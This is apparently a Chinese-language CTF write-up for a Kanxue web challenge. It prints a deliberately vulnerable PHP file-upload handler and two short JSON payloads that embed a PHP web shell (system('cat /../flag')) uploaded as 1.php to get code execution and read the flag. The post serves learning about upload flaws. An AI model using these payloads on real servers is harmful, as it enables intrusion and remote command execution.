emmmm,不懂怎么描述看雪的这题WEB…
第一次写题目这么快…但还是记录一下这题虽然不太清楚想考什么…
第八题
上来就给了源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php if (isset($_FILES["file"]["tmp_name"])) { $file = fopen($_FILES["file"]["tmp_name"], "r"); $data = fread($file, filesize($_FILES["file"]["tmp_name"])); $arr = json_decode($data, true, 2); if (json_last_error() != JSON_ERROR_NONE) { die("JsonErr"); } if (count($arr) != 1) { die("DataErr"); } $data = $arr['data']; $len = strlen($data); if ($len > 56) { die("Long"); } if (preg_match("/[\[\]`'^=\/\\$.;]+/", $data)) { die("no"); } $name = mt_rand(); $ext = strrchr($_FILES['file']['name'], '.'); $ext = trim($ext); move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $name . $ext); echo "upload/" . $name . $ext; } else { highlight_file(__FILE__); } ?>
|
代码意思大概就是,$_FILE传入的文件打开之后经过json解码不会出错,json键值的个数只有一个才能绕过判断。数据长度不能超过56,内容有检查,匹配了一些符号,但是没匹配到<?php等关键的字样,上传成功之后会生成一个路径给你,用不上phpseed爆破了。
于是我们构造1.php
1
| {"$a;/*":"*/a=<?php system('cat /../flag'); ?>"}
|
上传访问即可getflag。
因为写出来过了挺久的忘记做记录了,结果环境关了没法截图了…
其实不用想我上面的那么麻烦,人家基本没加过滤。
直接1.php
1
| {"a":"<?php system('cat /../flag'); ?>"}
|
都可以。
传参不会的可以用Postman的file选项。